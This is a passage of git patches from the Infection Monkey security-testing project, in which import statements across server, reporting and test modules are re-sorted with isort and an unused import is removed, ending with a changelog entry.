+++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py @@ -6,7 +6,6 @@ from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.t1222_telem import T1222Telem - COMMAND = "echo hi" DOMAIN_NAME = "domain-name" IP = "127.0.0.1" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py index 983c1961d13..511cc51b864 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py @@ -5,7 +5,6 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.telemetry.attack.usage_telem import UsageTelem - STATUS = ScanStatus.USED TECHNIQUE = "T9999" USAGE = UsageEnum.SMB diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py index f519b8153c1..a3853e78c18 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -6,7 +6,6 @@ from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem - DOMAIN_NAME = "domain-name" IP = "127.0.0.1" MACHINE = VictimHost(IP, DOMAIN_NAME) diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py index 56d39fe06be..95f85392243 100644 --- a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py @@ -6,7 +6,6 @@ from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.exploit_telem import ExploitTelem - DOMAIN_NAME = "domain-name" IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py index 4aaaedb0848..d6ce4882517 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -4,7 +4,6 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem - HOSTNAME = "hostname" IP = "0.0.0.0" PBA_COMMAND = "run some pba" diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py index 017a7d06263..07c6fbf414e 100644 --- a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py @@ -2,9 +2,8 @@ import pytest -from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.model.host import VictimHost - +from infection_monkey.telemetry.scan_telem import ScanTelem DOMAIN_NAME = "domain-name" IP = "0.0.0.0" diff --git a/monkey/infection_monkey/telemetry/tests/test_state_telem.py b/monkey/infection_monkey/telemetry/tests/test_state_telem.py index fe7bb329385..18776f987ef 100644 --- a/monkey/infection_monkey/telemetry/tests/test_state_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_state_telem.py @@ -4,7 +4,6 @@ from infection_monkey.telemetry.state_telem import StateTelem - IS_DONE = True VERSION = "version" diff --git a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py index 0caba8967bb..1469198990c 100644 --- a/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_system_info_telem.py @@ -4,7 +4,6 @@ from infection_monkey.telemetry.system_info_telem import SystemInfoTelem - SYSTEM_INFO = {} diff --git a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py index 567750e96a9..0c4027a05a6 100644 --- a/monkey/infection_monkey/telemetry/tests/test_trace_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_trace_telem.py @@ -4,7 +4,6 @@ from infection_monkey.telemetry.trace_telem import TraceTelem - MSG = "message" diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 88e41b6e2a4..d32019b6a2c 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -8,7 +8,6 @@ from monkey_island.cc.server_utils.island_logger import json_setup_logging # noqa: E402 - if "__main__" == __name__: island_args = parse_cli_args() diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 846a8663da1..b06494c2157 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -7,10 +7,6 @@ import monkey_island.cc.environment.environment_singleton as env_singleton from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH -from monkey_island.cc.resources.test.telemetry_test import TelemetryTest -from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_report import AttackReport @@ -35,18 +31,22 @@ from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_upload import FileUpload from monkey_island.cc.resources.remote_run import RemoteRun -from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.root import Root +from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.test.clear_caches import ClearCaches from monkey_island.cc.resources.test.log_test import LogTest from monkey_island.cc.resources.test.monkey_test import MonkeyTest +from monkey_island.cc.resources.test.telemetry_test import TelemetryTest from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys from monkey_island.cc.resources.zero_trust.scoutsuite_auth.scoutsuite_auth import ScoutSuiteAuth +from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder from monkey_island.cc.services.database import Database from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.representations import output_json diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 73b145dd4a6..91a2b7d25fd 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,8 +1,8 @@ from dataclasses import dataclass from monkey_island.cc.server_utils.consts import ( - DEFAULT_SERVER_CONFIG_PATH, DEFAULT_LOGGER_CONFIG_PATH, + DEFAULT_SERVER_CONFIG_PATH, ) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 731ecfe34f2..70d27e54673 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -6,10 +6,10 @@ from typing import Dict, List import monkey_island.cc.environment.server_config_generator as server_config_generator -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR class EnvironmentConfig: diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py index aea1263c276..dbf98eefe17 100644 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ b/monkey/monkey_island/cc/environment/test__init__.py @@ -4,7 +4,6 @@ from unittest import TestCase from unittest.mock import MagicMock, patch -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from common.utils.exceptions import ( AlreadyRegisteredError, CredentialsNotRequiredError, @@ -12,6 +11,7 @@ RegistrationNotNeededError, ) from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH TEST_RESOURCES_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment") diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index d2ac052c7d8..9bf6bfc2bf5 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -4,10 +4,9 @@ import pytest -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, MONKEY_ISLAND_ABS_PATH from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds - +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, MONKEY_ISLAND_ABS_PATH TEST_RESOURCES_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment") diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index bc7b8e283ba..75d105f70ad 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -17,16 +17,16 @@ logger = logging.getLogger(__name__) import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 -from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.database import get_db_version # noqa: E402 from monkey_island.cc.database import is_db_server_up # noqa: E402 -from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 -from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 +from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 +from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 +from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 from monkey_island.cc.setup import setup # noqa: E402 MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index c375a385899..90255099e87 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -15,9 +15,9 @@ ) from common.cloud import environment_names -from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.models.command_control_channel import CommandControlChannel from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document +from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.utils.network_utils import local_ip_addresses MAX_MONKEYS_AMOUNT_TO_CACHE = 100 diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index 404078c2790..d21776f6ffe 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -6,8 +6,8 @@ from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError -from .monkey_ttl import MonkeyTtl from ..test_common.fixtures import FixtureEnum +from .monkey_ttl import MonkeyTtl logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 021df512a2e..727357ab375 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -8,12 +8,12 @@ from flask import jsonify, make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.models import Monkey -from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.monkey_download import get_monkey_executable +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.utils.network_utils import local_ip_addresses __author__ = "Barak" diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 9f5c9670b57..66dbd881a32 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -5,10 +5,10 @@ import flask_restful from flask import request -from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index b7fc53d60b5..57d20904afc 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -5,10 +5,10 @@ from flask import jsonify, make_response, request from monkey_island.cc.database import mongo -from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.database import Database from monkey_island.cc.services.infection_lifecycle import InfectionLifecycle +from monkey_island.cc.services.utils.network_utils import local_ip_addresses __author__ = "Barak" diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 5978431d637..d6fe0a3cb9b 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -9,8 +9,8 @@ import monkey_island.cc.services.post_breach_files from monkey_island.cc.database import mongo from monkey_island.cc.server_utils.encryptor import get_encryptor -from monkey_island.cc.services.utils.network_utils import local_ip_addresses from monkey_island.cc.services.config_schema.config_schema import SCHEMA +from monkey_island.cc.services.utils.network_utils import local_ip_addresses __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py index 493d5af03a4..8d2b5c18cea 100644 --- a/monkey/monkey_island/cc/services/configuration/utils.py +++ b/monkey/monkey_island/cc/services/configuration/utils.py @@ -1,5 +1,5 @@ -from monkey_island.cc.services.config import ConfigService from common.config_value_paths import INACCESSIBLE_SUBNETS_PATH +from monkey_island.cc.services.config import ConfigService def get_config_network_segments_as_subnet_groups(): diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 5bfb607766e..2c1fe731a18 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -8,9 +8,9 @@ from monkey_island.cc import models from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import EdgeService +from monkey_island.cc.services.utils.network_utils import is_local_ips, local_ip_addresses from monkey_island.cc.services.utils.node_states import NodeStates __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index f519100ed7e..d930b4b2471 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -1,6 +1,6 @@ from dataclasses import dataclass from enum import Enum -from typing import Type, Dict +from typing import Dict, Type from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( CredExploitProcessor, diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py index c7a4bd1d075..087ee6a3918 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py @@ -1,6 +1,6 @@ from dataclasses import dataclass from enum import Enum -from typing import Union, List +from typing import List, Union class CredentialType(Enum): diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index 7ccce8e0011..842fe9eb2eb 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( - ExploiterReportInfo, CredentialType, + ExploiterReportInfo, ) from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( ExploitProcessor, diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py index 09bbce0d687..d9c9d7d495c 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( - ExploitProcessor, ExploiterReportInfo, + ExploitProcessor, ) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 5bbb64f3922..87a99a2add3 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -6,12 +6,6 @@ from bson import json_util -from common.network.network_range import NetworkRange -from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst -from monkey_island.cc.database import mongo -from monkey_island.cc.models import Monkey -from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses -from monkey_island.cc.services.config import ConfigService from common.config_value_paths import ( EXPLOITER_CLASSES_PATH, LOCAL_NETWORK_SCAN_PATH, @@ -19,6 +13,11 @@ SUBNET_SCAN_LIST_PATH, USER_LIST_PATH, ) +from common.network.network_range import NetworkRange +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst +from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import ( get_config_network_segments_as_subnet_groups, ) @@ -37,6 +36,7 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation import ( safe_generate_regular_report, ) +from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses __author__ = "itay.mizeretz" diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index acd8f261be3..6eb759b211e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -2,8 +2,8 @@ import dateutil -from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.models import Monkey +from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 7870b97bdb1..8b4c7d97eb2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -5,7 +5,6 @@ from common.utils.exceptions import FindingWithoutDetailsError from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails - # How many events of a single finding to return to UI. # 100 will return 50 latest and 50 oldest events from a finding MAX_EVENT_FETCH_CNT = 100 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py index e66c4778288..65f85aa9d5b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py @@ -1,11 +1,11 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( - RestrictivePolicies, - SecureAuthentication, DataLossPrevention, - UnencryptedData, + Logging, PermissiveFirewallRules, + RestrictivePolicies, + SecureAuthentication, ServiceSecurity, - Logging, + UnencryptedData, ) SCOUTSUITE_FINDINGS = [ diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 05bcebd032c..36eae62718c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -3,10 +3,10 @@ from ScoutSuite.providers.base.authentication_strategy import AuthenticationException from common.cloud.scoutsuite_consts import CloudProviders +from common.config_value_paths import AWS_KEYS_PATH from common.utils.exceptions import InvalidAWSKeys from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService -from common.config_value_paths import AWS_KEYS_PATH def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 5ffe194a42c..00eae32e73c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -1,12 +1,12 @@ from unittest.mock import MagicMock -import pytest import dpath.util +import pytest +from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.encryptor import initialize_encryptor, get_encryptor +from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor from monkey_island.cc.services.config import ConfigService -from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( is_aws_keys_setup, ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py index 32491b2c57b..04e085eb127 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py @@ -1,8 +1,8 @@ from copy import deepcopy from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import ( - RULE_LEVEL_WARNING, RULE_LEVEL_DANGER, + RULE_LEVEL_WARNING, ) from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ( ScoutSuiteRuleService, diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py index 5582bb83ddd..36a8761cbec 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py @@ -1,8 +1,8 @@ from common.common_consts.zero_trust_consts import ( - TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, - TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, + TEST_ENDPOINT_SECURITY_EXISTS, + TEST_SCOUTSUITE_SERVICE_SECURITY, ) from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index 67bdbc3088f..37d432bf402 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -3,24 +3,24 @@ import pytest from common.common_consts.zero_trust_consts import ( - TESTS_MAP, - TEST_SCOUTSUITE_SERVICE_SECURITY, - STATUS_FAILED, DEVICES, NETWORKS, + STATUS_FAILED, STATUS_PASSED, TEST_ENDPOINT_SECURITY_EXISTS, + TEST_SCOUTSUITE_SERVICE_SECURITY, + TESTS_MAP, ) from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( MonkeyZTDetailsService, ) from monkey_island.cc.services.zero_trust.test_common.finding_data import ( - get_scoutsuite_finding_dto, get_monkey_finding_dto, + get_scoutsuite_finding_dto, ) from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import ( - FindingService, EnrichedFinding, + FindingService, ) from monkey_island.cc.test_common.fixtures.fixture_enum import FixtureEnum diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py index 32dbaadc9df..36691e00e83 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_pillar_service.py @@ -4,13 +4,13 @@ from common.common_consts import zero_trust_consts from common.common_consts.zero_trust_consts import ( + AUTOMATION_ORCHESTRATION, DATA, - PEOPLE, + DEVICES, NETWORKS, - WORKLOADS, + PEOPLE, VISIBILITY_ANALYTICS, - AUTOMATION_ORCHESTRATION, - DEVICES, + WORKLOADS, ) from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService from monkey_island.cc.services.zero_trust.zero_trust_report.test_common.example_finding_data import ( diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index 23d3cd08eff..7eb6b19cd7a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -10,7 +10,6 @@ ) from monkey_island.cc.test_common.fixtures import FixtureEnum - EXPECTED_DICT = { "test_pillar1": [ { diff --git a/monkey/monkey_island/cc/test_consts.py b/monkey/monkey_island/cc/test_consts.py index 76a08a2586d..eebb7414f34 100644 --- a/monkey/monkey_island/cc/test_consts.py +++ b/monkey/monkey_island/cc/test_consts.py @@ -1,4 +1,5 @@ import platform + import monkey_island.cc.server_utils.consts as consts diff --git a/monkey/monkey_island/cc/test_encryptor.py b/monkey/monkey_island/cc/test_encryptor.py index b2564b16ceb..7823c64ec0a 100644 --- a/monkey/monkey_island/cc/test_encryptor.py +++ b/monkey/monkey_island/cc/test_encryptor.py @@ -1,8 +1,7 @@ import os from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.server_utils.encryptor import initialize_encryptor, get_encryptor - +from monkey_island.cc.server_utils.encryptor import get_encryptor, initialize_encryptor TEST_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing") PASSWORD_FILENAME = "mongo_key.bin" From d5e43fbf51e5821f44c415f98316ccf110b556ff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Apr 2021 18:06:31 -0400 Subject: [PATCH 0148/1360] cc: Remove unused `Dict` import in exploiter_descriptor_enum.py --- .../exploit_processing/exploiter_descriptor_enum.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index d930b4b2471..e60886b34a0 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -1,6 +1,6 @@ from dataclasses import dataclass from enum import Enum -from typing import Dict, Type +from typing import Type from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( CredExploitProcessor, From ad2b2f88f5316b034a0b726b627d0fe71a773a09 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Apr 2021 19:22:23 -0400 Subject: [PATCH 0149/1360] Add information about isort to changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 591a5057992..3bca2515fef 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,3 +17,4 @@ The format is based on [Keep a 